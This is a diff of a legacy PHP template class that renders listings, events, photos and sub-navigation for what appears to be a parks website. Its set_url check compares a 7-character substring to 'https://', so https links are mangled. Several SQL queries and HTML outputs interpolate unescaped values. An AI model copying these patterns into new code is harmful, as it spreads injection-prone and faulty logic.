+          * @return false if not a park or park id if it is one
+          * @access public
+          **/
+       function in_parks( $id )
+       {
+               foreach( $this->parks as $k => $park )
+               {
+                       if( $id == $park )
+                       {
+                               return( $park );
+                       }
+               }
+               return( false );
+       }
+
+       /**
+          * set_parks: set up the parks array 6 - 11
+          * 
+          * @return void
+          * @access public
+          **/
+       function set_parks()
+       {
+               $parks = array(6,7,8,9,10,11);
+               $this->parks = $parks;
+       }
+
+       function get_park_events()
+       {
+               if( $park_id = $this->in_parks( $this->catid ) )
+               {
+                       // get the topic name from the topic table
+                       $query = "select descr from topic where id = $park_id";
+                       $event_topic_data = $this->DB->db_auto_get_data( $query );
+
+                       $query = "SET DATESTYLE TO 'SQL,US';select id,header,img,descr,bdate,edate from event where topicid = $park_id";
+                       $event_data = $this->DB->db_auto_get_data( $query );
+                       if( is_array( $event_data ) )
+                       {
+                               $out .= '<div id="eventsleft"><h2>Special Events at '.$event_topic_data[0]['descr'].'</h2>';
+                               foreach( $event_data as $key => $val )
+                               {
+                                       $date = $this->get_event_date($val['bdate'],$val['edate'],'Postgres');
+                               //      $image = ( $val['img'] ) ? '<img src="'.THUMB.$val["img"].'" border="0">': '';
+                                       $park = $this->get_seo_url( $park_id );
+                                       $event_name = $this->set_name_url( $val['header'] );
+                                       $link = '<a href="'.BASE_URL.'events/'.$park.$event_name.'/">'.$val["header"].'</a>';
+                                       $out .= '<img src="'.BASE_URL.'assets/events-divider.gif" width="86"
+                                               height="6" alt="events-divider (1K)">' .
+                                               $link .
+                                               $date;
+                               }
+                               $out .= '</div>';
+                       }
+                       return( $out );
+               }
+               else
+               {
+                       return( false );
+               }
+       }
+       
+       /**
+       * set_DB: set the DB up to be that of the global one if it exists
+        * @param $$DB : the DB object 
+        * 
+        * @return void
+        * @access public
+        **/
+       function set_DB( $DB )
+       {
+               if( isset( $DB ) )
+               {
+                       $this->DB =& $DB;
+               }
+               else
+               {
+                       $this->DB =& new GLM_DB();
+               }
+       }
+
+       /**
+       * set_pages: grab the globals for the pages an use this for 
+               the pages array for the class
+        * 
+        * @return void
+        * @access public 
+        **/
+       function set_pages( $pages )
+       {
+               if( is_array( $pages ) )
+               {
+                       $this->pages =& $pages;
+               }
+       }
+       
+       /**
+       * set_catid:Set the class catid var
+       * @param $catid: $catid
+       * 
+       * @return void 
+       * @access public 
+       **/
+       function set_catid( $catid )
+       {
+               if( is_numeric( $catid ) )
+               {
+                       $this->catid = $catid;
+               }
+               else
+               {
+                       $this->catid = 1;
+               }
+       }
+
+       function set_id( $id )
+       {
+               if( is_numeric( $id ) )
+               {
+                       $this->id = $id;
+               }
+               else
+               {
+                       $this->id = 1;
+               }
+       }
+
+       /**
+       * set_contact:Set the contact string
+
+       * @param $text: The text as string
+       * @param $email: email if givin 
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_contact( $text, $email )
+       {
+               if( $email != "" )
+               {
+                       $text = "";
+               }
+               else
+               {
+                       $text = '<p><strong>Contact Name:</strong>&nbsp;'.$text.'</p>';
+               }
+               return($text);
+       }
+
+       /**
+       * set_text:Set the contact string
+       * @param $text: The text as string
+       * 
+       * @return string $text
+       * @access 
+       **/
+       function set_text( $text )
+       {
+               if("" == str_replace("<br />","",trim($text)))
+               {
+                       return(false);
+               }
+               if( $text != "" )
+               {
+                       $text = str_replace( "<a href=","<a target=\"_blank\" href=", $text );
+                       $text = $this->keyword_replace( $text );
+                       $text = nl2br( $text );
+               }
+               return($text);
+       }
+
+       /**
+       * set_img:Set the image string
+       * @param $image: The image
+       * @param $size: The path
+       * @param $align: The alignment
+       * @param $name: The image_name (displayed under image)
+       * @param $title: Title if given 
+       * 
+       * @return 
+       * @access 
+       **/
+       function set_img( $image, $align, $title )
+       {
+               if( $image != "" )
+               {
+                       if( $title != '')
+                       {
+                               $titletag = 'title="'.strip_tags($title).'"';
+                       }
+                       if( $align != "" )
+                       {
+                               $img_align = 'align="'.$align.'"';
+                       }
+                       $this->imgfloat["$image"] = $align;
+                       if( is_file( ORIGINAL_PATH.$image ) )
+                       {
+                               $size2 = getimagesize(ORIGINAL_PATH.$image);
+                               $width = $size2[0] + 0;
+                               $height = $size2[1] + 0;
+                               if( !$this->catimg )
+                               {
+                                       //$img = '<div class="listingimage">';
+                               }
+                               $img .= '<a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$image.'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);"><img src="'.$this->img_size.$image.'" alt="'.$image.'" '.$titletag.' border="0"></a>';
+                               if( $title )
+                               {
+                                       $img .= '<div class="imgcap">'.$title.'</div>';
+                               }
+                               if( !$this->catimg )
+                               {
+                                       //$img .= '</div>';
+                               }
+                               return( '<div class="img">'.$img.'</div>' );
+                       }
+               }
+       }
+
+       /**
+       * set_url:Set the url string
+       * @param $url: The url
+       * @param $text: The text as string
+       * 
+       * @return string $text
+       * @access 
+       **/
+       function set_url( $url, $text )
+       {
+               if( $url != "" )
+               {
+                       if( !$text )
+                       {
+                               $text = $url;
+                       }
+                       if( strtolower( substr( $url, 0, 7 ) ) == "https://" )
+                       {
+                               $url = '<p><a href="'.$url.'" target="_blank">'.$text.'</a></p>';
+                       }
+                       else
+                       {
+                               $url = '<p><a href="http://'.$url.'" target="_blank">'.$text.'</a></p>';
+                       }
+               }
+               return( $url ); 
+       }
+
+       /**
+       * set_email:Set the email string
+       * @param $email: The email as string
+       * @param $contact: The contactname this is used as the link text
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_email( $email, $contact )
+       {
+               if( $email != "" )
+               {
+                       if( $contact != "" )
+                       {
+                               $email = '<p><strong>Contact:</strong>&nbsp;&nbsp;<a href="mailto:'.$email.'" target="_blank">'.$contact.'</a></p>';
+                       }
+                       else
+                       {
+                               $email = '<p><strong>Email:</strong>&nbsp;&nbsp;<a href="mailto:'.$email.'" target="_blank">'.$email.'</a></p>';
+                       }
+               }
+               return( $email );       
+       }
+
+       /**
+       * set_header:Set the header string
+       * @param $text: The text as string
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_header( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = $this->header_begin.$text.$this->header_end;    
+               }
+               return( $text );
+       }
+
+       /**
+       * set_subheader:Set the subheader string
+       * @param $text: The text as string
+
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_subheader( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = $this->subheader_begin.$text.$this->subheader_end;      
+               }
+               return( $text );
+       }
+
+       /**
+       * set_phone:Set the phone string
+       * @param $text: The text as string
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_phone( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = '<p><strong>Phone:</strong>&nbsp;&nbsp;'.$text.'</p>';  
+               }
+               return( $text );
+       }
+
+       /**
+       * set_fax:Set the fax string
+       * @param $text: The text as string
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_fax( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = '<p><strong>Fax:</strong>&nbsp;&nbsp;'.$text.'</p>';    
+               }
+               return( $text );
+       }
+
+       /**
+       * set_file:Set the file string
+       * @param $text: The text as string
+       * @param $name: The file name displayed
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_file( $text, $name,$filetext )
+       {
+               if( $text != "" )
+               {
+                       $outtext = '<p><a href="'.URL_BASE.'uploads/'.$text.'" target="_blank">';
+                       if($name)
+                       {
+                               $outtext .= $name;
+                       }
+                       else
+                       {
+                               $outtext .= $text;
+                       }
+                       $outtext .= '</a>';
+                       if( $filetext )
+                       {
+                               $outtext .= '<br>'.$filetext;
+                       }
+                       $outtext .= '</p>';
+               }
+               return( $outtext );
+       }
+
+       /**
+       * set_address:set_address
+       * @param $data: data contain the address info for display.
+       * 
+       * @return string $address
+       * @access 
+       **/
+       function set_address( $data )
+       {
+               $address = "";
+               if( $data["address"] )
+               {
+                       $address .= $data["address"];
+               }
+               if( $data["city"] && $data["state"] && $data["zip"] )
+               {
+                       $address .= '<br>'.$data["city"].', '.$data["state"].' '.$data["zip"];
+               }       
+               elseif( $data["city"] && $data["state"] )
+               {
+                       $address .= '<br>'.$data["city"].', '.$data["state"];
+               }
+               elseif( $data["city"] )
+               {
+                       $address .= '<br>'.$data["city"];
+               }
+               if( $address != "" )
+               {
+                       return( '<p>'.$address.'<br></p>' );
+               }
+       }
+
+       function get_template()
+       {
+               $query = "select template from bus_category where id = ".$this->catid.";";
+               $data = $this->DB->db_auto_get_data( $query );
+               return( $data[0]['template'] );
+       }
+       /**
+       * get_all:Does the query and set_data calls boths arrays
+       * 
+       * @return void
+       * @access 
+       **/
+       function get_all()
+       {
+               $catid = $this->catid; 
+               $template = $this->get_template();
+               switch($template)
+               {
+                       case "5":
+                               $this->img_align = "right";
+                               $this->img_alternate = 1;
+                       break;
+
+                       case "4";       
+                               $this->img_align = "right";
+                               $this->img_alternate = 1;
+                       break;
+
+                       case "3";       
+                               $this->img_align = "left";
+                               $this->img_alternate = 1;
+                       break;
+
+                       case "2":
+                               $this->img_align = "left";
+                               $this->img_alternate = 0;
+                       break;
+
+                       case "1";       
+                               $this->img_align = "right";
+                               $this->img_alternate = 0;
+                       break;
+
+                       default:
+                       break;
+               }
+               $this->catimg = 1;
+               $cat_query = "SELECT    * 
+               FROM            bus_category
+               WHERE           id = $catid
+               AND                     active = 't'
+               ORDER BY        pos";  
+               $res = $this->set_data( $this->DB->db_auto_get_data( $cat_query ) );
+               $this->data = $res[0];
+               $this->catimg = 0;
+               $item_query = "SELECT   b.*
+               FROM    bus b LEFT OUTER JOIN bus_category_bus bcb
+               ON (bcb.busid = b.id)
+               WHERE   bcb.catid = $catid
+               ORDER BY bcb.pos";
+               $this->items = $this->set_data( $this->DB->db_auto_get_data( $item_query ) );
+       }
+
+       /**
+       * set_data:Calls each function of the class
+       * based on the key af the array $data[0][$key]
+       * @param $data: The input array from db query
+       * 
+       * @return array data The finished array
+       * @access 
+       **/
+       function set_data( $data )
+       {
+               if( is_array( $data ) )
+               {
+                       foreach( $data as $k => $val )
+                       {
+                               foreach( $val as $key => $value )
+                               {
+                                       if( strstr( $key, "image" ) && $value != "" )
+                                       {
+                                               $titletag = ( $data[$k]['category'] ) ? $data[$k]['category'] : $data[$k]['name'];
+                                               $data[$k][$key."_name"] = $value;
+                                               $data[$k][$key] = $this->set_img( $value, $this->img_align, $data[$k][$key."name"] );
+                                               if( !strstr( $key, "name" ) )
+                                               {
+                                                       if( $this->img_align == "right" && $this->img_alternate )
+                                                       {
+                                                               $this->img_align = "left";
+                                                       }
+                                                       elseif( $this->img_alternate )
+                                                       {
+                                                               $this->img_align = "right";
+                                                       }
+                                               }
+                                       }
+                                       elseif( strstr($key,"file") && strstr($key,"name") && $value!="" )
+                                       {
+                                       }
+                                       elseif( strstr($key,"url") && strstr($key,"name") && $value!="" )
+                                       {
+                                       }       
+                                       elseif( strstr($key,"descr") && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+                                       }
+                                       elseif( $key == "contactname" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_contact( $value, $data[$k]['email'] );
+                                       }
+                                       elseif($key == "name" && $value!="")
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+                                       }
+                                       elseif( strstr( $key, "header" ) && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+                                       }
+                                       elseif( $key == "intro" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+                                       }
+                                       elseif( $key == "category" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+                                       }
+                                       elseif( $key == "url" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_url( $value, $data[$k]["urlname"] );
+                                       }
+                                       elseif( $key == "email" && $value!="")
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_email( $value, $data[$k]["contactname"] );
+                                       }
+                                       elseif( $key == "phone" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_phone($value);
+                                       }
+                                       elseif( $key == "fax" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_fax( $value );
+                                       }
+                                       elseif (strstr( $key, "file" ) && $value!="")
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_file( $value, $data[$k][$key.'name'],$data[$k][$key."text"] );
+                                       }
+                                       elseif( $key == "address" )
+                                       {
+                                               $data[$k][$key] =  GLM_TEMPLATE::set_address( $data[$k] );
+                                       }
+                                       elseif( $key == "id" )
+                                       {
+                                               $data[$k][$key] = $value;
+                                       }
+                                       else
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+                                       }
+                               }
+                       }       
+                       return( $data );
+               }       
+               return( false );
+       }
+
+       /**
+       * load_static_page:using object buffer include the page $catid.phtml from static dir
+       and return it as string
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function load_static_page()
+       {
+               if( file_exists( BASE."static/".$this->catid.".phtml" ) )
+               {
+                       ob_start();
+                       include("static/".$this->catid.".phtml");
+                       $text = ob_get_contents();
+                       ob_end_clean();
+                       return($text);
+               }
+       }
+
+       /**
+       * clean_text:Do some text clean up.
+       * @param $output: 
+       * 
+       * @return string text cleaned
+       * @access 
+       **/
+       function clean_text($output)
+       {
+               $output = str_replace("<br />","<br>",$output);
+               $output = str_replace("<p><br></p>","",$output);
+               return($output);
+       }
+
+       /**
+       * get_category: grab just category contents
+       * @param $catid: id of bus_category
+       * @param $DB: 
+       * @param $$showimg=1: weather or not to show category image
+       * 
+       * @return string $output
+       * @access public
+       **/
+       function get_category( $showimg = 1,$showbread = 1 )
+       {
+               if( $showbread == 1 )
+               {
+                       $output .= $this->print_ancesters( $this->catid );
+               }
+               $cat_query = "SELECT    * 
+               FROM            bus_category
+               WHERE           id = ".$this->catid." AND active='t'
+               ORDER BY        pos";  
+               //$res = GLM_TEMPLATE::set_data($DB->db_auto_get_data($cat_query));
+               if( !is_array( $this->data ) )
+               {
+                       $res = $this->set_data( $this->DB->db_auto_get_data( $cat_query ) );
+                       $data = $res[0];
+               }
+               else
+               {
+                       $data = $this->data;
+               }
+               $output .= '<div id="category">';
+               if($data["image"] || $data["description"] || $data["intro"] )
+               {
+                       //$output .=$data["intro"]." ";
+                       if($showimg == 1)
+                       {
+                               $output .= '<div id="resourcebox">'.$data["image"].'<br>'.$data["imagename"]."</div>";
+                       }
+                       $output .=$data["intro"]." ";
+                       if( $this->catid == 162 )
+                       {
+                               $output .= $this->load_static_page();
+                       }
+                       $output .=$data["description"]." ";
+               }
+               else
+               {
+                       if( $this->catid == 162 )
+                       {
+                               $output .= $this->load_static_page();
+                       }
+               }
+               $output .= '</div>';
+               $output = GLM_TEMPLATE::clean_text($output);
+               return( $output );
+
+       }
+
+       /**
+       * has_events: check to see if this park has events
+        * @param $$id : park id
+        * 
+        * @return bool
+        * @access public
+        **/
+       function has_events( $id )
+       {
+               $query = "select id from event where topicid = $id and edate >= CURRENT_DATE";
+               $data = $this->DB->db_auto_get_data( $query );
+               if( is_array( $data ) )
+               {
+                       return( true );
+               }
+               else
+               {
+                       return( false );
+               }
+       }
+
+       /**
+       * has_photos: function to check to see if this catid has any sub that are photos
+       * NOTE: this is only run for the parks section.
+        * @param $$id : 
+        * 
+        * @return 
+        * @access 
+        **/
+       function has_photos( $id )
+       {
+               $query = "select id from bus_category where parent = $id and type = 1 and active = 't';";
+               $data = $this->DB->db_auto_get_data( $query );
+               if( is_array( $data ) )
+               {
+                       return( true );
+               }
+               else
+               {
+                       return( false );
+               }
+       }
+
+
+       /**
+        * has_books: function to check to see if this catid has any sub that are books
+       * NOTE: this is only run for the parks section.
+        * @param $$id : 
+        * 
+        * @return 
+        * @access 
+        **/
+       function has_books( $id )
+       {
+               $query = "select id from bus_category where parent = $id and type = 3 and active = 't';";
+               $data = $this->DB->db_auto_get_data( $query );
+               if( is_array( $data ) )
+               {
+                       return( true );
+               }
+               else
+               {
+                       return( false );
+               }
+       }       
+       /**
+        * has_jobs: function to check to see if this catid has any sub that are jobs
+       * NOTE: this is only run for the parks section.
+        * @param $$id : 
+        * 
+        * @return 
+        * @access 
+        **/
+       function has_jobs( $id )
+       {
+               $query = "select postype from availposition where postype = $id;";
+               $data = $this->DB->db_auto_get_data( $query );
+               if( is_array( $data ) )
+               {
+                       return( true );
+               }
+               else
+               {
+                       return( false );
+               }
+       }
+
+       /**
+        * has_exhibits: function to check to see if this catid has any sub that are exhibits
+       * NOTE: this is only run for the parks section.
+        * @param $$id : 
+        * 
+        * @return 
+        * @access 
+        **/
+       function has_exhibits( $id )
+       {
+               $query = "select id from bus_category where parent = $id and type = 2 and active = 't';";
+               $data = $this->DB->db_auto_get_data( $query );
+               if( is_array( $data ) )
+               {
+                       return( true );
+               }
+               else
+               {
+                       return( false );
+               }
+       }
+       
+       /**
+       * get_parks_page: custom page builder for the parks site
+        * 
+        * @return string $out
+        * @access public
+        **/
+       function get_parks_page()
+       {
+               if( $park = $this->under_parks( $this->catid ) )
+               {
+                       $out .= $this->get_resources( $park );
+                       $out .= $this->get_page( 0 );
+               }
+               else
+               {
+                       $out .= $this->get_page();
+               }
+               return( $out );
+       }
+
+       /**
+        * get_resources:
+        * 
+        * @return 
+        * @access 
+        **/
+       function get_resources( $park )
+       {
+               switch( $park )
+               {
+                       case 1:
+                               $return = true;
+                               break;
+                       
+                       case 6:
+                               $logo = '<img src="'.BASE_URL.'assets/parks/logo-fm.gif" width="225" height="117" alt="logo-fm">';
+                               break;
+
+                       case 7:
+                               $logo = '<img src="'.BASE_URL.'assets/parks/logo-cm.gif" width="225" height="117" alt="logo-cm">';
+                               break;
+
+                       case 8:
+                               $logo = '<div id="textlogo">Historic Downtown</div>';//'<img src="'.BASE_URL.'assets/parks/logo-hd.gif" width="225" height="117" alt="logo-hd">';
+                               break;
+
+                       case 9:
+                               $logo = '<img src="'.BASE_URL.'assets/parks/logo-misp.gif" width="225" height="117" alt="logo-misp">';
+                               break;
+
+                       case 10:
+                               $logo = '<img src="'.BASE_URL.'assets/parks/logo-hmc.gif" width="225" height="117" alt="logo-hmc">';
+                               break;
+
+                       case 11:
+                               $logo = '<img src="'.BASE_URL.'assets/parks/logo-ompl.gif" width="225" height="117" alt="logo-ompl">';
+                               break;
+
+               }
+               $query = "select image,imagename from bus_category where id = ".$this->catid;
+               $data = $this->DB->db_auto_get_data( $query );
+               if( is_file( RESIZED_PATH.$data[0]['image'] ) )
+               {
+                       $size2 = getimagesize(ORIGINAL_PATH.$data[0]["image"]);
+                       $width = $size2[0] + 0;
+                       $height = $size2[1] + 0;
+                       $image = '<a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$data[0]["image"].'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);"><img border="0" src="'.RESIZED.$data[0]["image"].'" alt="'.$data[0]['image'].'"></a>';
+               }
+               if( $return == 1 )
+               {
+                       return( false );
+               }
+               $image_caption = ( $data[0]['imagename'] ) ? '<br>'.strip_tags( $data[0]['imagename'] ):'';
+               $out .= '<div id="resourcebox">
+ '.$logo.' 
+ '.$image.'
+ '.$image_caption.'
+ <div id="moreres">More information about '.$this->get_catheader($park,$this->DB).':</div>';
+ if($this->tours[$park])
+ {
+        $out .= '<a href="'.$this->tours[$park].'"><img class="icon" src="'.BASE_URL.'assets/icons/virtual.gif" width="58" height="56" alt="virtual (1K)"></a>';
+ }
+       if( $this->maps[$park] )
+       $out .= '<a href="'.BASE_URL.'parks/'.$this->get_seo_url($this->maps[$park]).'"><img class="icon" src="'.BASE_URL.'assets/icons/map.gif" width="41" height="56" alt="map (1K)"></a>
+       ';
+       if( $this->has_photos( $park ) )
+       {
+               $out .= '<a href="'.BASE_URL.'photos/'.$this->get_seo_url($park).'"><img class="icon" src="'.BASE_URL.'assets/icons/photos.gif" width="36" height="56" alt="photos (1K)"></a>
+       ';
+       }
+       if( $this->has_exhibits( $park ) )
+       {
+               $out .= '<a href="'.BASE_URL.'exhibits/'.$this->get_seo_url($park).'"><img class="icon" src="'.BASE_URL.'assets/icons/exhibits.gif" width="42" height="56" alt="exhibits (1K)"></a>';
+       }
+
+       if( $this->has_books( $park ) )
+       {
+       $out .= '<a href="'.BASE_URL.'books/'.$this->get_seo_url($park).'"><img class="icon" src="'.BASE_URL.'assets/icons/books.gif" width="33" height="56" alt="books (1K)"></a>';
+       }
+       
+//             if( $this->has_jobs( $this->catid ) )
+//             {
+               $out .= '<a href="'.BASE_URL.'jobs/'.$this->get_seo_url($park).'"><img class="icon" src="'.BASE_URL.'assets/icons/jobs.gif" width="25" height="56" alt="jobs (1K)"></a>';
+//             }
+       
+       $out .= '</div>';
+               return( $out ); 
+       }
+       
+       /**
+        * get_page: replacing template_parser with get-page function
+        * 
+        * @return 
+        * @access 
+        **/
+       function get_page( $showimg = 1 )
+       {
+               if( !is_array( $this->data ) )
+               {
+                       $this->get_all();
+               }
+               $out .= $this->get_category( $showimg );
+               $out .= $this->get_listings();
+               if( $this->news[$this->catid] )
+               {
+                       require_once('classes/class_news.inc');
+                       $News =& new GLM_NEWS( $this->news[$this->catid] );
+                       $out .= $News->get_news_page();
+
+               }
+               if( $this->catid == 60 )
+               {
+                       require_once('classes/class_exhibits.inc');
+                       $Exhibits =& new GLM_EXHIBITS( $this->catid );
+                       $out .= $Exhibits->get_all_exhibits();
+               }
+               if( $this->catid == 17 )
+               {
+                       require_once('classes/class_news.inc');
+                       $News =& new GLM_NEWS( $this->catid );
+                       $out .= $News->get_all_news();
+               }
+               return( $out );
+       }
+       
+       function get_img_name( $id )
+       {
+               $query = "select image from bus where id = $id;";
+               $data = $this->DB->db_auto_get_data( $query );
+               return( $data[0]['image'] );
+       }
+       
+       /**
+       * template_parser:This function creates data 
+       * and items arrays and does the output for the page.
+       * 
+       * @return void
+       * @access 
+       **/
+       function get_listings()
+       {
+               // grab category and items into data and items respectfully
+               if( !is_array( $this->data ) )
+               {
+                       $this->get_all();
+               }
+
+               // load any static category page from the static directory 
+               // hard codded content would have $catid.phtml page for it
+               if( $this->catid != 162 )
+               {
+                       $output .= $this->load_static_page();
+               }
+               /*
+               echo '<pre>';
+                       print_r($this->imgfloat);
+               echo '</pre>';
+               */
+               switch($this->type)
+               {
+
+                       default:        
+                       if(is_array($this->items))
+                       {
+                               foreach($this->items as $key=>$val)
+                               {
+                                       
+                                       $img = $this->get_img_name( $val['id'] );
+                                       $float = $this->imgfloat[$img];
+                                       switch( $float )
+                                       {       
+                                               case "left":
+                                                       $output .= '<div class="listingleft">';
+                                                       break;
+
+                                               case "right":
+                                                       $output .= '<div class="listingright">';
+                                                       break;
+
+                                               default:
+                                                       $output .= '<div class="listing">';
+                                                       break;
+                                       }
+                                       // items can be moved around as needed
+                                       //$output .= '<div class="listing">';
+                                               $output .= '<br clear="all"><br>';
+                                       $output .= $val["image"];
+                                       $output .= $val["name"];
+                                       $output .= $val["address"];
+                                       $output .= $val["description"];
+                                       $output .= $val["contactname"];
+                                       $output .= $val["email"];
+                                       $output .= $val["phone"];
+                                       $output .= $val["fax"];
+                                       $output .= $val["url"];
+                                       $output .= $val["file"];
+                                       $output .= $val["file2"];
+                                       $output .= $val["file3"];
+                                       $output .= '</div>';
+                               }
+                       }
+                       break;
+               }
+               $output = GLM_TEMPLATE::clean_text($output);
+               return( $output );
+       }
+
+       /**
+       * sub_nav:Create a sub navigation 
+       * @param $catid: The catid for the page
+       * 
+       * @return void
+       * @access 
+       **/
+       function sub_nav( $catid,$level = 1 )
+       {
+               if( $this->in_parks( $catid ) )
+               {
+                       $query = "select id,category from bus_category where id = ".$this->catid;
+               }
+               else
+               {
+                       $top = $this->get_parentid( $catid, &$this->DB );
+                       $query = "SELECT id,category FROM bus_category WHERE active = 't' and parent = $top ORDER BY pos";      
+               }
+               $data = $this->DB->db_auto_get_data($query);
+               if( is_array( $data ) )
+               {
+                       $out .= '<div id="navleftcontainer"><ul id="navlist">';
+               if( $top == 26)
+               {
+                       $active = ( $GLOBALS['fulltime'] == 'TRUE' ) ? ' class="active"' : '';
+                       $out .= '<li><a'.$active.' href="'.BASE_URL.'jobs.phtml?fulltime=TRUE">Fulltime Positions</a></li>';
+                       $active = ( $GLOBALS['seasonal'] == 'TRUE' ) ? ' class="active"' : '';
+                       $out .= '<li><a'.$active.' href="'.BASE_URL.'jobs.phtml?seasonal=TRUE">Seasonal Positions</a></li>';
+               }
+                       $counter = 1;   
+                       foreach($data as $key=>$val)
+                       {
+                               $page = $this->get_base_url( $val['id'] );
+                               $page_name = $this->get_seo_url( $val['id'] );
+                               $active =  ( $catid == $val['id'] ) ? $active = ' class="active"' : '';
+                               $out .= '<li><a'.$active.' href="'.URL_BASE.$page.'/'.$page_name.'">';
+                               $out .= $val["category"];
+                               $out .= '</a></li>';    
+                       if( $this->has_subs( $val['id'], &$this->DB ) && ( $this->is_sub_id( $catid, $val['id'],
+                       &$this->DB ) ) || $val['id'] == 26 )
+                               {
+                                       //$out .= $this->sub_nav( $val['id'], 0 );
+                                       $out .= '<li><ul>';
+                                       $query = "SELECT id,category,type,parent FROM bus_category WHERE active = 't' and parent = ".$val['id']." ORDER BY pos desc";
+                                       $sub_data = $this->DB->db_auto_get_data( $query );
+
+                                       if( $val['id'] == 26 )
+                                       {
+                                               $sub_data[] = array('id'=>'fulltime','category'=>'Fulltime Positions','link'=>BASE_URL.'jobs.phtml?fulltime=TRUE');
+                                               $sub_data[] = array('id'=>'seasonal','category'=>'Seasonal Positions','link'=>BASE_URL.'jobs.phtml?seasonal=TRUE');
+                                       }
+                                       $sub_data = array_reverse($sub_data);
+                                       if( is_array( $sub_data ) )
+                                       {
+                                               foreach( $sub_data as $key2 => $val2 )
+                                               {
+                                                       if( $val2['link'] )
+                                                       {
+                                                               $page = '';
+                                                               $page_name = $val2['link'];
+                                                               $active =  ( $GLOBALS[$val2['id']] == 'TRUE' ) ? $active = ' class="active"' : '';
+                                                               $out .= '<li><a'.$active.' href="'.$page_name.'">';
+                                                               $out .= $val2["category"];
+                                                               $out .= '</a></li>';    
+                                                       }
+                                                       else
+                                                       {
+                                                               $page = $this->get_base_url( $val2['id'] );
+                                                               $page_name = $this->get_seo_url( $val2['id'] );
+                                                               switch( $val2['type'] )
+                                                               {
+                                                                       case 1:
+                                                                               $page = 'photos';
+                                                                               $page_name = $this->get_seo_url( $val2['parent'] );
+                                                                               break;
+
+                                                                       case 2:
+                                                                               $page = 'exhibits';
+                                                                               $page_name = $this->get_seo_url( $val2['parent'] );
+                                                                               break;
+
+                                                                       case 3:
+                                                                               $page = 'books';
+                                                                               $page_name = $this->get_seo_url( $val2['parent'] );
+                                                                               break;
+                                                               }
+                                                               if( $this->is_sub_id( $val2['id'], 500, $this->DB ) && $val2['id'] != 500 )
+                                                               {
+                                                                       $page = 'gallery';
+                                                               }
+                                                               $active =  ( $catid == $val2['id'] ) ? $active = ' class="active"' : '';
+                                                               $out .= '<li><a'.$active.' href="'.URL_BASE.''.$page.'/'.$page_name.'">';
+                                                               $out .= $val2["category"];
+                                                               $out .= '</a></li>';    
+                                                       }
+                                                       if( $this->has_subs( $val['id'], $this->DB ) && ( $this->is_sub_id( $catid, $val2['id'], $this->DB ) ) )
+                                                       {
+                                                               $query3 = "SELECT id,category,type,parent FROM bus_category WHERE
+                                                               active = 't' and parent = ".$val2['id']." ORDER BY pos";
+                                                               $sub_data3 = $this->DB->db_auto_get_data( $query3 );
+                                                               if( is_array( $sub_data3 ) )
+                                                               {
+                                                                       $out .= '<li><ul>';
+                                                                       foreach( $sub_data3 as $key3 => $val3 )
+                                                                       {
+                                                                               $page = $this->get_base_url( $val3['id'] );
+                                                                               $page_name = $this->get_seo_url( $val3['id'] );
+                                                                               switch( $val3['type'] )
+                                                                               {
+                                                                                       case 1:
+                                                                                               $page = 'photos';
+                                                                                               $page_name = $this->get_seo_url( $val3['parent'] );
+                                                                                               break;
+
+                                                                                       case 2:
+                                                                                               $page = 'exhibits';
+                                                                                               $page_name = $this->get_seo_url( $val3['parent'] );
+                                                                                               break;
+
+                                                                                       case 3:
+                                                                                               $page = 'books';
+                                                                                               $page_name = $this->get_seo_url( $val3['parent'] );
+                                                                                               break;
+                                                                               }
+                                                                               if( $this->is_sub_id( $val3['id'], 500, $this->DB ) && $val3['id'] != 500 )
+                                                                               {
+                                                                                       $page = 'gallery';
+                                                                               }
+                                                                               $active =  ( $catid == $val3['id'] ) ? $active = ' class="active"' : '';
+                                                                               $out .= '<li><a'.$active.' href="'.URL_BASE.''.$page.'/'.$page_name.'">';
+                                                                               $out .= $val3["category"];
+                                                                               $out .= '</a></li>';
+                                                                       }
+                                                                       $out .= '</ul></li>';
+                                                               }
+                                                               
+                                                       }
+                                               }
+                                       }
+                                       $out .= '</ul></li>';
+                                       /*
+                               */
+                               }
+                       }       
+                       $out .= '</ul></div>';
+               }
+               return( $out );
+       }
+
+       /**
+       * get_home_events: get events flaged as home events
+       * @param $DB: DB reference to DB obj
+
+       * 
+       * @returnvoid 
+       * @access 
+       **/
+       function get_home_events(&$DB)
+       {
+               $query = "SET DATESTYLE TO 'SQL,US';SELECT id,header,substr(descr,0,30) as descr, bdate, edate  
+               FROM event WHERE home = 't'";
+               $data = $DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       foreach($data as $key=>$value)
+                       {
+                               $id = $value['id'];
+                               $header = $value['header'];
+                               $sdate = strtotime($value['bdate']);
+                               $edate = strtotime($value['edate']);
